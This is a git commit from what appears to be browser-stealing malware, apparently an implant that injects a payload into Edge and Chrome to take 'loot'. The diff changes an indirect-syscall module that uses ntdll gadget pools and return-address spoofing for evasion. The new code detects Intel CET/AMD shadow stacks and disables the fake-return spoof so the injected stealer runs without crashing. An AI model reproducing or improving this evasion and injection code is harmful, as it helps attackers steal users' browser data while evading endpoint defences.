syscall: skip the fake-return spoof under a CET shadow stack

msedge and chrome run with Hardware-enforced Stack Protection (Intel CET / AMD
shadow stack) on. ret is then checked against a hardware copy of the return
address, so the fake return pushed before the syscall;ret gadget (push fake; jmp
the gadget) mismatches the shadow stack and the browser fast-fails with
0xC0000409. That killed the payload mid-loot in the injected browser, which the
agent surfaced as "inject failed: failed to read result header".

init() now checks GetProcessMitigationPolicy(ProcessUserShadowStackPolicy) and
zeros g_fake_return_addr when the shadow stack is on; dispatch() already reads 0
as "no fake return". The gadget pool still runs, and a process without a shadow
stack (the agent itself) keeps the spoof.

Verified against Edge 153: the payload now completes and the steal returns loot
with no 0xC0000409 fault in the Application event log.
This commit is contained in:
JYenn
2026-09-15 00:16:16 +01:00
parent 606850d3a5
commit 2779081f52
+19
View File
@@ -288,6 +288,21 @@ static bool resolve_one(const char* name, Entry& entry) {
const Syscalls& sys() { return g_sys; }
bool ready() { return g_ready; }
// Declared in processthreadsapi.h, which is hidden unless _WIN32_WINNT >= 0x0603.
extern "C" BOOL WINAPI GetProcessMitigationPolicy(HANDLE, PROCESS_MITIGATION_POLICY, PVOID, SIZE_T);
// Hardware-enforced Stack Protection (Intel CET / AMD shadow stack). ret is
// checked against a hardware copy of the return address, so stack spoofing
// faults (#CP, the process fast-fails with 0xC0000409). msedge, chrome and most
// strict-mode images enable it. A failed query means the feature is off.
static bool user_shadow_stack_enabled() {
PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY p{};
if (GetProcessMitigationPolicy(GetCurrentProcess(), ProcessUserShadowStackPolicy,
&p, sizeof(p)))
return p.EnableUserShadowStack != 0;
return false;
}
bool init() {
if (g_ready) return true;
g_ntdll = ntdll_base();
@@ -295,6 +310,10 @@ bool init() {
seed_prng();
if (!scan_gadget_pool(g_ntdll)) return false;
// A CET shadow stack rejects the fake-return spoof (push a fake ret, then
// jmp the syscall;ret gadget), so drop it in a process that has one.
// dispatch() reads 0 as "no fake return".
if (user_shadow_stack_enabled()) g_fake_return_addr = 0;
build_freshy_table(g_ntdll);
extract_pdata(g_ntdll);
g_delta = 0;